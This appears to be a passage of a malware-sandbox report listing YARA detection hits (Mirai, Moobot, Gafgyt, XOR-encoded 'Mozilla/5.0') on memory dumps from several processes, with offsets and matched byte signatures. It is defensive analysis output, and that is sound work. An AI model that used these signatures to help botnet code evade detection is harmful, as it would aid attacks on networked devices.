39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6252.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7293.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7372.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6718.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6766.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6394.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7184.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6812.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6812.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6812.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6812.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6812.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6812.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7035.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7035.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7035.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7008.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7008.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7008.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7008.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7008.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7008.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7035.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7035.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7035.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6733.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6368.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6588.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6588.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6588.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6588.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6588.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6588.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7210.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6975.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6562.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6355.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7154.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7154.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7154.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7154.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
